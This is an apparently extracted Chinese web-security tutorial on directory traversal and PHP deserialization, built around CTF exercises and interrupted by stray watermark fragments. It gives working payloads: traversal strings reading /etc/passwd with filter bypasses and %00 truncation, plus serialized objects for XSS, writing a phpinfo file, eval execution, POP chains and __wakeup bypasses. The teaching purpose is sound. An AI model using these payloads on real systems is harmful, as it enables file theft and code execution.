Windows中目录穿越漏洞由于操作系统可能导致只能在设定好的盘符下进行穿越，不能越过其他盘符读

取，如：读取日志文件，后端代码 F:/wwwroot/logs + "前端传递的文件名"。此时通过 ../进行目录穿

越只能在F盘下进行读取，不能读取F盘以外的任何文件，如： C:\windows\win.ini。而Linux中却不
受到这种限制，只要有足够的权限可以读任意目录下的文件

一般目录穿越导致的主要为任意文件读取，一般都是读取配置文件，因为配置文件中保存着大量敏感信

息，如：各种数据库连接地址与账号密码

 

例子：假设你目前所在目录为：C:\Windows\System32\drivers\etc

使用"../" 一次返回上一级目录，即：C:\Windows\System32\drivers

使用"../../" 一次返回上一级目录，即：C:\Windows\System32

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

af://n1098


案例：

执行 ping后并跟上 ls查看根目录下的内容发现有 flag

 

 

使用 cat命令进行查看，以及使用 ../来进行目录穿越返回到根目录查看，发现只有一个上一级是不够

的
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继续增加 ../来返回到最终根目录，成功得到 flag，具体推断几层次数也可以使用 pwd来查看当前目录

是在哪

进阶使用方法：

1.绝对路径

web网站有时候会采取目录遍历的防御措施，如过滤 ../  上一级等关键字，然后简单的过滤通常会被绕

过。有时候可以直接采用绝对路径，无须../返回上一级目录遍历
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2.双写../绕过

有时候，防御措施是直接将 ../  替换为空，可以直接采用双写/复写直接绕过：

 

3.URL编码绕过

也可以采用URL编码来绕过服务器对 .  或者 /  的检测：

 

4.绝对路径配合../

有些web在获取filename图片文件的时候，会首先判断是否以一个固定的路径开头

那么就可以配合 ../来返回上一级遍历(也就是在中间进行目录穿越)任意文件：

 

5.截断文件后缀

某些web对 filename的文件类型作了限制，只有当后缀为图片时才解析

这时候就可以利用 %00  来截断（跟文件上传里的一样采用的同样的%00）：

总之，目录遍历漏洞不会仅限于一个绕过姿势，通常会配合多个姿势进行组合攻击

 

 

十二、反序列化  

序列化：将对象转为字节流，目的是方便对象在内存、文件、数据库或者网络之间的传递

反序列化：序列化的逆过程，即将字节流转为对象的过程

序列化和反序列化结合起来，可以轻松地存储和传输数据，使程序更具维护性

filename=/etc/passwd   //假设filename为传参值

filename=....//....//....///etc/passwd   //假设filename为传参值

.   ===>  %2e

/   ===>  %2f

%   ===>  %25  (双重URL编码)

filename=/var/www/images/../../../etc/passwd    //假设filename为传参值

filename=../../etc/password%00.jpg     //假设filename为传参值
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比如：现在我们都会在淘宝上买桌子，桌子这种很不规则的东西，该怎么从一个城市运输到另一个城
市，这时候一般都会把它拆掉成板子，再装到箱子里面，就可以快递寄出去了，这个过程就类似我们的

序列化的过程（把数据转化为可以存储或者传输的形式，实际上是去除结构信息）。当买家收到货后，
就需要自己把这些板子组装成桌子的样子，这个过程就像反序列化的过程（转化成当初的数据对象，恢

复了结构）

 

漏洞造成原因：程序没有对用户输入的反序列化字符串进行检测，导致反序列化过程可以被恶意控制，
进而造

成代码执行、getshell等一系列不可控的后果

PHP反序列化漏洞：也叫PHP对象注入，就是当程序在进行反序列化时，会自动调用一些函数，但是如

果传入函数的参数可以被用户控制的话，用户可以输入一些恶意代码到函数中，从而导致反序列化漏洞

可以理解为程序在执行 unserialize()函数时，自动执行了某些魔术方法（magic method），而魔术

方法的参数被用户所控制，这就会产生安全问题

漏洞利用条件：1.unserialize()函数的参数可控            2.存在可利用的魔术方法

 

 

PHP序列化：对象转为字符序列  

例题源码：

<?php

// 定义类

class Girl{

    // 声明属性

    public $name = '小红';

    public $age = 18;

    // 声明方法

    public function __construct($name, $age){

        $this->name = $name;

        $this->age = $age;

    }

    public function hello(){

        echo "Hello, my boy! \n";

        echo "My name is $this->name, my age is $this->age !";

    }

}

// 类实例化成为对象

$jimmy = new Girl('小帅', '18');

$str = serialize($jimmy);

echo $str;

?>
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输出的结果为：

 

常见的表示类型的字符：

 

O:4:"Girl":2:{s:4:"name";s:6:"小帅";s:3:"age";s:2:"18";}

按层次进行拆解

O:4:"Girl":2: 这一段指的是外层的类，定义了一个对象 [O], 对象名称长度为 [4], 对象名称为： 

[Girl],  对象类型数(也可以称为属性)数有 [2]

    

{s:4:"name";s:6:"小帅";s:3:"age";s:2:"18";}

第一个类型名称为字符型，所以取为[s]  类型的名称是[4]个长度的"name", 它的值类型也是字符型，对应

的也是[s],值为长度为[6]的字符串 (由于一个中文等于三个字节长度，"小" → \xE5\xB0\x8F (3字节) 

"帅" → \xE5\xB8\x85 (3字节) )

第二个类型名称也为字符型，所以也是[s]    类型的名称是[3]个长度的"age", 它的值类型也是字符型，

对应的也是[s],值的长度为[2]，值的内容是字符型的 [18]

O：类 

a：数组(array) 

b：布尔(boolean) 

i：整型 

s：字符串 

N：Null 

d：double，浮点型
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PHP反序列化：字符序列还原为对象  

例题源码：

 

 

<?php

// 定义类

class Girl{

// 声明属性

    public $name = '小红';

    public $age = 18;

    // 声明方法

    public function __construct($name, $age){

    $this->name = $name;

    $this->age = $age;

    }

    public function hello(){

    echo "Hello, my boy! \n";

    echo "My name is $this->name, my age is $this->age !";

    }

}

$str = 'O:4:"Girl":2:{s:4:"name";s:6:"小帅";s:3:"age";s:2:"18";}';

$object = unserialize($str); //反序列化，还原为Girl对象

$object->hello(); //对象调用方法

?>
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反序列化中的XSS漏洞  

例题源码：

 

解题步骤：

首先进行判断是通过 Get传参 str，再将传参值的字符序列转换为对象，并且再进行调用 hello这个方

法

<?php

header("content-type:text/html;charset=utf-8");

show_source(__FILE__);

error_reporting(0);

class Girl{

    public $name = '小红';

    public $age = 18;

    public function __construct($name, $age){

    $this->name = $name;

    $this->age = $age;

    }

    public function hello(){

    echo "Hello, my boy! \n";

    echo "My name is $this->name, my age is $this->age !";

    }

}

if(isset($_GET['str'])){

    $str = $_GET['str'];

    $object = unserialize($str);

    $object->hello();

}

?>
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所以应该先构造一个序列化字段进行传参

 

1.首先将源码放到本地在线编译里进行构造出一个字符序列化

先将不需要的没用的部分给注释掉，以便输出一段序列化

首先明确目的是为了输出一段合规的序列化字段，所以我们不需要去调用到方法等，而是需要的是对其

内的属性值去进行替换，而不是行为动作去进行替换

正常不进行替换的：
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序列化结果：

 

传参后的结果：

以上是正常显示

 

 

造成xss只需要在对象内的值做一个替换（替换成xss的代码即可成功执行）

将序列化字符进行修改：

O:4:"Girl":2:{s:4:"name";s:6:"小红";s:3:"age";i:18;}

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y



运行结果：

成功执行反射型xss代码

 

 

访问控制符  

在声明属性时通常都会在前面加上一个访问控制符

访问控制符分为 3种： public/protected/private

 

例题源码：

原本的：   O:4:"Girl":2:{s:4:"name";s:6:"小红";s:3:"age";i:18;}

修改为：   O:4:"Girl":2:{s:4:"name";s:31:"<script>alert('jimmy')

</script>";s:3:"age";i:18;}
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序列化后：

 

对象字段名的序列化规则：

<?php

class Girl{

    public $name = '小红';

    protected $age = 18;

    private $money = 100.5;

    public function __construct($name ,$age, $money){

    $this->name = $name;

    $this->age = $age;

    $this->money = $money;

}

public function hello(){

    echo "My name is $this->name, my age is $this->age !\n";

    echo "I have $this->money RMB!";

    }

}

$jimmy = new Girl("jimmy", 20, 108.5);

echo serialize($jimmy);

?>

O:4:"Girl":3:{s:4:"name";s:5:"jimmy";s:6:" * age";i:20;s:11:" Girl 

money";d:108.5;}
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var和 public： var  和 public  声明的字段都是公共字段，因此它们的字段名的序列化格式是相同

的。公共字段的字段名按照声明时的字段名进行序列化，但序列化后的字段名中不包括声明时的变量前

缀符号$

protected：声明的字段为保护字段，在所声明的类和该类的子类中可见，但在该类的对象实例中不可

见。因此保护字段的字段名在序列化时，字段名前面会加上 \0*\0的前缀。这里的 \0表示 ASCII 码为
0的字符，属于不可见字符，因此该字段的长度会比可见字符长度大3

private：声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可

见。因此私有字段的字段名在序列化时，字段名前面会加上 \0<declared class name>\0前缀。这里 

<declared class name>表示的是声明该私有字段的类的类名，而不是被序列化的对象的类名。因为

声明该私有字段的类不一定是被序列化的对象的类，而有可能是它的祖先类

 

 

解析：

1.为何有区分小写s以及大写S

原因是：各个属性对应的访问控制符都不一样，序列化出来的类名也不一样， protected和 private这

两个访问控制符声明出来的类名值都会有空字节，而正是这个原因，含空字节需要用大写的S，而并非是
纯ASCII字符串的小写s

 

2.在上图输出序列化字符时结果明显显示不出来空字符，那需要如何替代

解决问题：可以使用 \00来代替空字符

$jimmy = 'O:4:"Girl":3:

{s:4:"name";s:5:"jimmy";S:6:"\00*\00age";i:20;S:11:"\00Girl\00money";d:108.5;}';jim
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魔术方法  

魔术方法是一种特殊的方法，在某些情况下会自动调用。魔术方法的命名是以两个下划线开头的，常见
的魔术方法有：

 

 

案例1

案例源码：

__construct()     //对象创建(new)时会自动调用

构造函数, 在对应对象实例化时自动被调用. 子类中的构造函数不会隐式调用父类的构造函数.

在 PHP 8 以前, 与类名同名的方法可以作为 __constuct 调用但 __construct 方法优先

    

__destruct()      //对象被销毁时触发

__toString()      //把对象当作字符串使用时触发

例如直接 echo $jiimmy  则会直接触发

    

__wakeup()        //使用unserialize时触发

在对象被反序列化时会调用

    

__sleep()        //使用serialize时触发

在对象被序列化时会调用

    

__call()         //在对象上下文中调用不可访问的方法时触发

无法访问的方法时会调用

    

__callStatic()   //在静态上下文中调用不可访问的方法时触发

__get($key)      //用于从不可访问的属性读取数据,$key就是不存在的属性

__set()          //用于将数据写入不可访问的属性

__isset()        //在不可访问的属性上调用isset()或empty()触发

__unset()        //在不可访问的属性上使用unset()时触发

__clone()        //当克隆对象是调用

__invoke()       //当脚本尝试将对象调用为函数时触发

__autoload()     //在代码中当调用不存在的类时会自动调用该方法

<?php

header("content-type:text/html;charset=utf-8");

class Girl{ 

     public $name = "小花";

     public function __construct($name){

     $this->name = $name;

     echo "__construct: 创建对象时，create object:$this->name \n";

     }

     public function __destruct(){

     echo "__destruct: 对象销毁时, $this->name is died ! \n";

     }

     public function __call($name, $arguments){

     echo "__call: 调用不存在的方法时 \n";

     }
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     public function __toString(){

     return "__toString: 把对象当做字符串输出时 \n";

     }

     public function __clone(){

     echo "__clone: 克隆对象时 \n";

     }

     public function __get($name){

     echo "__get: 读取一个不存在的属性时 \n";

     }

     public function __set($name, $value){

     echo "__set: 设置不存在的属性 \n";

     }

     public function __isset($name){

     echo "__isset: 对不可访问属性调用isset() \n";

     }

     public function __unset($name){

     echo "__unset: 在不可访问的属性上使用unset() \n";

     }

     public function hello(){

     echo "My name is $this->name !\n";

     }

} 

$jimmy = new Girl("Ryan");

$jimmy->hello();

$jimmy->a();

$jimmy->b;

$w2 = clone $jimmy;

echo $jimmy;

$w2->name = "zs";

$w2->abc = "zs";

isset($w2->abc);

unset($w2->a);

?>
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案例2（代码写入漏洞）：

案例源码：

<?php

header("content-type:text/html;charset=utf-8");

highlight_file(__FILE__);

class Girl{

    public $name = "小明";

    public $file = "a.txt";

    function __wakeup(){

        $file = fopen($this->file, 'w');

        fwrite($file, $this->name);

        fclose($file);

    }

}

echo "<h1>反序列化漏洞案例</h1>";

if(isset($_GET["str"])){

    $str = $_GET['str'];

    $o = unserialize($str);

    echo "name:".$o->name;

}

?>
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解题步骤：

1.发现在第三个条件$o当中有一个反序列化命令，刚好引起魔术方法 __wakeup()

2.魔术方法内的一系列行为正是将 $name的值写入到 $file这个值所创建的文件夹，因此可以联想到可

以写入一个php文件去进行上传 webshell或者是读取 phpinfo

3.构造payload：
只需要将对应的 $name以及 $file的值为对应的需求即可

O:4:"Girl":2:{s:4:"name";s:18:"<?php phpinfo();?>";s:4:"file";s:5:"a.php";}
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访问对应写入的a.php文件
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属性赋值  

案例源码：

 

解题分析：

<?php

show_source(__FILE__);

error_reporting(0);

class DEMO{

    public $func;

    public $arg ;

    public function safe(){

    echo $this->arg;

    }

    public function evil(){

    eval($this->arg);

    }

    public function run(){

    $this->{$this->func}();

    }

    function __construct(){

    $this->func = 'evil';

    }

}

$obj=unserialize($_GET['a']);

$obj->run();

?>
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1.首先根据后面的调用行为知道了会去使用这个类的 run()方法

2.然后发现 evil()这个方法中有 eval函数可以执行，所以需要把 run()方法内的 $this->func给变

成 evil才能够去成功指向到 evil()，唯一的办法就是去调用 __construct这个魔术方法，所以必然

需要 new一个新的类

3.接着再把 arg这个属性的值赋上需要执行的命令，比如： phpinfo();

 

 

直接写序列化数据显然是不合适的，因为序列化数据不符合人类的直观感受，很容易出错。实际上，都
是利用 serialize()函数来生成序列化数据的。

生成步骤：

1.把题目代码复制到本地

2.注释掉与属性无关的内容（方法和没用的代码）

3.对属性赋值

4.输出url编码后的序列化数据：

5.将序列化数据发送到目标服务器

 

进行URL编码的原因

1.原始的序列化数据可能存在不可见字符

2.如果不进行编码，最后输出的结果是片段的，不是全部的，会有类似截断导致结果异常，所以需要进行
url编码

 

 

赋值的方法分为三种：

1.直接在属性中赋值：优点是方便，缺点是只能赋值字符串

echo(urlencode(serialize(new DEMO())));
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输出后的序列化：

 

 

2.外部赋值：优点是可以赋值任意类型的值，缺点是只能操作public属性

注意点：小技巧：对于php7.1+的版本，反序列化对属性类型不敏感。尽管题目的类下的属性可能不是
public，但是我们可以本地改成public，然后生成public的序列化字符串。由于7.1+版本的容错机制，尽
管属性类型错误，php也认识，也可以反序列化成功。基于此，可以绕过诸如 \0字符的过滤

O%3A4%3A%22DEMO%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A4%3A%22evil%22%3Bs%3A3%3A%22

arg%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y



输出后的序列化：

 

3.构造方法赋值（万能方法）：优点是解决了上述的全部缺点，缺点是有点麻烦

O%3A4%3A%22DEMO%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A4%3A%22evil%22%3Bs%3A3%3A%22

arg%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
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输出后的序列化也是一样

 

测试：

 

 

 

POP链  

POP链：POP（面向属性编程）链是指从现有运行环境中寻找一系列的代码或指令调用，然后根据需求
构造出一组连续的调用链

反序列化利用就是要找到合适的POP链。其实就是构造一条符合原代码需求的链条，去找到可以控制的
属性或方法，从而构造POP链达到攻击的目的

寻找POP链的思路：

1.寻找 unserialize()函数的参数是否可控

2.寻找反序列化想要执行的目标函数，重点寻找魔术方法（比如 __wakeup()和__destruct()）；

3.一层一层地研究目标在魔术方法中使用的属性和调用的方法，看看其中是否有我们可控的属性和方法

4.根据我们要控制的属性，构造序列化数据，发起攻击

 

案例

源码：

<?php

header("Content-type:text/html;charset=utf-8");

error_reporting(1);

highlight_file(__FILE__);

class Read
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{

    public function get_file($value)

    {

        $text = base64_encode(file_get_contents($value));

        return $text;

    }

}

class Show

{

    public $source;

    public $var ;

    public $class1;

    public function __construct($name='index.php')

    {

        $this->source = $name;

        echo $this->source.' Welcome'."<br>";

    }

    public function __toString()

    {

        $content = $this->class1->get_file($this->var);

        echo $content;

        return $content;

    }

    public function _show()

    {

        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this-

>source)) {

            die('hacker');

        } else {

            highlight_file($this->source);

        }

    }

    public function Change()

    {

        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) 

{

            echo "hacker";

        }

    }

    public function __get($key){

        $function=$this->$key;

        $this->{$key}();

    }

}

if(isset($_GET['sid']))

{

    $sid=$_GET['sid'];

    $config=unserialize($_GET['config']);

    $config->$sid;

}

else

{

    $show =new Show('index2.php');

    $show->_show();

}
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解题思路：

1.构造利用链，就要找到头和尾。再想办法把头和尾连接起来

2. $sid和$ config是用户输入可以控制的，这是利用链的头部

3.最终目的是读取 flag.php文件，就要从源代码中需要可以读文件或者执行系统命令的地方。 Read-

>get_file和 Show->_show可以读取文件，但是 Show->_show函数不允许出现 flag。因此， Read-

\>get_file就是POP链的尾部

4.思考如何触发 Read->get_file     搜索 get_file关键词发现， Show->__toString中存在代码
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只需要让该 $content的值做一个对应的改变：

即可触发 get_file，并得到 flag.php的内容（base64编码格式）

5.剩下的问题就是如何去触发这个 Show->__toString行为，刚好在第二步提到的用户控制输入的两个

链头部，以及源码中的 $config->$sid;，就可以做出以下操作：

 

$content = $this->class1->get_file($this->var);

改变成

$this->class1=new Read;

$this->var='flag.php'

$config=new Show;

$sid='__toString';
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第一种解法：
构造源码：

<?php

class Read{

}

class Show{

    public $source;

    public $var = 'flag.php';

    public $class1;

}

$w = new Show;

$w->class1 = new Read;

echo(urlencode(serialize($w)));

?>
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第二种解法：

由于 __toString是魔术方法，还可以自动触发，触发条件为“把对象当成字符串使用”，那么就需要寻找

使用字符串的地方，传入对象，就可以触发 __toString了

本题中 preg_match函数的参数就是字符串，因此需要

构造源码：

解答点：

为何需要多了个S2？

$this->source=Show;//this就是当前的类，因此本题要生成两个Show类，其中一个Show类的source属

性值为另一个Show类

<?php

class Read{

}

class Show{

    public $source;

    public $var = 'flag.php';

    public $class1;

}

$r = new Read();

$s = new Show;

$s->class1 = $r;

$s2 = new Show;

$s2->source = $s;

echo(urlencode(serialize($s2)));

?>
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因为需要将 s的内容赋值到 s2内如下图：

 

为什么在正则匹配内并未被检测到 flag字段？

虽然在正常的反序列化下 S2为：

O:4:"Show":3:{s:6:"source";O:4:"Show":3:

{s:6:"source";N;s:3:"var";s:8:"flag.php";s:6:"class1";O:4:"Read":0:

{}}s:3:"var";s:8:"flag.php";s:6:"class1";N;}
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运行流程如下：
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所以当调用正则时候，就已经中断了判断流程，而是先进入 __toString这个魔术方法里

 

 

畸形序列化字符串  

畸形序列化字符串就是故意修改序列化数据，使其与标准序列化数据存在个别字符的差异，达到绕过一

些安全函数的目的

适用范围：
1.绕过 __wakeup()

2.快速析构（fast destruct）：绕过过滤函数，提前执行 __destruct

 

绕过__wakeup
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由于使用unserialize()函数后会立即触发 __wakeup，为了绕过 __wakeup中的安全机制，可以用修改属

性数量的方式绕过 __wakeup方法。受影响版本：

 

绕过方法：

第一种：反序列化时，修改对象的属性数量，将原数量+n，那么 __wakeup方法将不再调用。比如：

 

第二种：增加真实属性的个数，比如：

 

 

快速析构

快速析构的原理：当php接收到畸形序列化字符串时，PHP由于其容错机制，依然可以反序列化成功。但

是，由于你给的是一个畸形的序列化字符串，总之他是不标准的，所以PHP对这个畸形序列化字符串得
到的对象不放心，于是PHP就要赶紧把它清理掉，那么就触发了他的析构方法 (__destruct())

适用情景：

某些题目需要利用 __destruct才能获取flag，但是 __destruct是在对象被销毁时才触发（执行顺序太

靠后）， __destruct之前会执行过滤函数，为了绕过这些过滤函数，就需要提前触发 __destruct方

法

畸形字符串的构造：

1.改掉属性的个数

2.删掉结尾的}

 

案例

案例源码：

php5.0.0 ~ php5.6.25

php7.0.0 ~ php7.0.10

//标准序列化数据

O:4:"Girl":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}

//修改为：

O:4:"Girl":3:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}

//也就是将类里的属性成员数量增加

// 原始序列化数据

O:4:"Girl":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}

// 增加真实属性的个数

O:4:"Girl":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";s:1:"n":N;}

//也就是不修改总体的总数量，反而是在其属性内增加一个属性成员
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<?php

class DemoX{

    protected $user;

    protected $sex;

    function __construct(){

        $this->user = "guest";

        $this->sex = "male";

    }

    function __wakeup(){

        $this->user = "Guest";

        $this->sex = "female";

    }

    function __toString(){

        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "

<br>";

    }

    function __destruct()

    {

        echo $this;

    }

}

class Demo2{

    private $fffl4g;

    function __construct($file){

        $this->fffl4g = $file;

    }

    function __toString(){

        return file_get_contents($this->fffl4g);

    }

}

if(!isset($_GET['poc'])){

    highlight_file(__FILE__);

}

else{

    $user = unserialize($_GET['poc']);

}
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解题思路：

1.明确pop链的起点： unserialize($_GET['poc'])             //可以控制这传参值

2.明确pop链的终点:调用 Demo2中的 __toString行为去执行一个读取文件

3.该如何去执行到最终的终点：
DemoX类中可运用的点：

整体中间链接流程为：

1.可以通过__toString()行为去调用到，DemoX这个类中的user或者是sex？

所以通过这可以确定将$user或者是$sex给赋值为实例化Demo2，去调用Demo2这个类

2.该如何调用并执行这个__toString方法？

可以看到在DemoX这个类中有个__destruct这个魔术方法，并可以看到在末尾条件时，有一个unserialize

可以触发这个__destruct魔术方法，从而使它进行 echo出这个DemoX类中所有的对象，就造成将对象当成字

符串进行输出，刚好触发到__toString这个魔术方法

3.关于在Demo2中需要做什么？

不需要做多余的操作，在DemoX里面的__toString方法内由于我们将它的$this->user赋值为new Demo2，

实例化了Demo2这个类，所以当他被里面的行为.去做一个拼接时，就会变成一个字符串，又成功触发了Demo2

内的__toString这个魔术方法 PHP自动启动对象转字符串机制

第一步：DemoX->__destruct()    //不能执行DemoX->__wakeup()

第二步：DemoX->__toString()

第三步：Demo2->__toString()
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构造payload：

payload源码：

本地环境运行得到：

 

进行传参后：

 

由于题目中有 unserialize这个反序列化参数，会自动触发到 __wakeup这个魔术方法，所以绕过方式

为：

先生成正常的反序列化结果，在最终修改属性个数即可

将序列化的结果修改为：

<?php

class DemoX{

    protected $user;

    protected $sex;

    function __construct(){

        $this->user = new Demo2;

        $this->sex = "man";

    }

}

class Demo2{

    private $fffl4g = "flag.php";

}

$w = new DemoX;

$j = serialize($w);

echo urlencode($j);

O%3A5%3A%22DemoX%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A

1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22

%00%2A%00sex%22%3Bs%3A3%3A%22man%22%3B%7D

O%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A

1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22

%00%2A%00sex%22%3Bs%3A3%3A%22man%22%3B%7D

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y
jim

m
y

jim
m

y

jim
m

y
jim

m
y

jim
m

y



 

 

指针  

可以用 &  符号可以进行指针引用，类似于C语言中的指针。 例如：

这样 $a  的值会随着 $b  的值变化，确保两者永远相等

 

举例：

源码：

$a=&$b;

<?php

$a = 1;

$a = &$b;

echo "第一轮";

echo $a;

echo "\n";

$b = 2;

echo "第二轮";

echo "\n";

echo $b;

echo "\n";

echo $a;

echo "\n";

$a = 3;

echo "第三轮";

echo "\n";

echo $a;

echo $b;
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简单解释就是，$a和$b的值永远是一样的，不管是$a在改变值还是$b在改变值，他们两个都会变成一样
的结果，因为他们两个在同一个空间内，就像是只有一个变量一样，不管改变$a还是改变$b都是在对这
个变量重新定义

 

 

题目案例：

源码：

<?php

class Seri{

    public $alize;

    public function __construct($alize) {

        $this->alize = $alize;

    }

    public function __destruct(){

        $this->alize->getFlag();

    }

}

class Alize{

    public $f;

    public $t1;

    public $t2;

    function __construct($file){

        echo "Another construction!!";

        $this->f = $file;

        $this->t1 = $this->t2 = md5(rand(1,10000));
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    }

    public function getFlag(){

        $this->t2 = md5(rand(1,10000));

        echo $this->t1;

        echo $this->t2;

        if($this->t1 === $this->t2)

        {

            if(isset($this->f)){

                echo @highlight_file($this->f,true);

            }

        } else {

            echo "no";

        }

    }

}

$p = $_GET['p'];

if (isset($p)) {

    $p = unserialize($p);

} else {

    show_source(__FILE__);

    // echo "NONONO";

}

?>
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 解题思路：

1.首先确定可控制的头部： $p = $_GET['p']

2.首先确定最后输出的尾部： Alize->getFlag()

3.发现在 Seri这个类中的 __destruct魔术方法可以去调用到 getFlag这个方法

由此可以将 $this->alize->getFlag()变成 $this->new Alize->getFlag()去做一个对 Alize这个

类的属性赋值的实例化，也不会因此去调用到 Alize这个类中的魔术方法 __construct，从而达到调用

getFlag方法

4.需要注意最终尾部的的判断条件

最棘手的是在全等判断这里，可以采用指针方式，将 $t1和$t2彻底变成一样的值

 

Poc创建：

源码：

$this->t2 = md5(rand(1,10000))

此条件将t2这个属性变成了一个随机值的1~10000内

if($this->t1 === $this->t2)

“==”两个等号是对值进行判断，并不会对类型进行判断   “===”三个等号是对值以及类型都进行判断

所以这里采用的是全等判断

if(isset($this->f))

isset只是对这个f的值进行判断是否不为空

<?php

class Seri{

    public $alize;

}

class Alize

{

    public $f = 'flag.php';

    public $t1;

    public $t2;

}

$a = new Alize();

$a->t1 = &$a->t2;

$b = new Seri();

$b->alize = $a;

echo urlencode(serialize($b));

?>
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输出后：

 

攻击结果：

O%3A4%3A%22Seri%22%3A1%3A%7Bs%3A5%3A%22alize%22%3BO%3A5%3A%22Alize%22%3A3%3A%7Bs%

3A1%3A%22f%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A2%3A%22t1%22%3BN%3Bs%3A2%3A%22t2%22%

3BR%3A4%3B%7D%7D
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